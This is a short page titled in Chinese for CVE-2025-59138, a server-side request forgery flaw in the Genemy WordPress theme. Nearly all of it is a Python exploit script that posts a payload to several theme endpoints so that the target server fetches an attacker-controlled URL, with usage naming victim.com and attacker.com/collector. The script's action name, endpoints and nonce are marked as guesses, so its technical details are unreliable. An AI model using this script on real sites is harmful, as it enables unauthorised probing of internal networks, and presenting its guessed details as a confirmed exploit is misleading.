CVE-2025-59138 Genemy主题服务器端请求伪造(SSRF)漏洞

import requests import sys def exploit_ssrf(target_url, attacker_server): """ PoC for CVE-2025-59138 - SSRF in Genemy Theme This PoC demonstrates how an attacker can trigger the vulnerable endpoint to make the target server request arbitrary URLs. Args: target_url: Base URL of the WordPress site with vulnerable Genemy theme attacker_server: URL controlled by attacker to receive SSRF requests """ # Vulnerable endpoint - typical SSRF trigger point # Note: Actual vulnerable parameter/path may vary based on theme version vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/themes/genemy/includes/functions.php', '/wp-content/themes/genemy/framework/request.php' ] # SSRF payload - attacker-controlled URL ssrf_payload = { 'action': 'genemy_ssrf_trigger', # Example action name 'url': attacker_server, 'param': 'genemy_ajax_nonce' # May need valid nonce } print(f'[*] Targeting: {target_url}') print(f'[*] Attacker server: {attacker_server}') for endpoint in vulnerable_endpoints: full_url = target_url + endpoint try: response = requests.post(full_url, data=ssrf_payload, timeout=10) print(f'[+] Sent request to {endpoint}') print(f' Status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error targeting {endpoint}: {e}') if __name__ == '__main__': if len(sys.argv) != 3: print('Usage: python exploit_ssrf.py <target_url> <attacker_server>') print('Example: python exploit_ssrf.py http://victim.com http://attacker.com/collector') sys.exit(1) target = sys.argv[1] attacker = sys.argv[2] exploit_ssrf(target, attacker)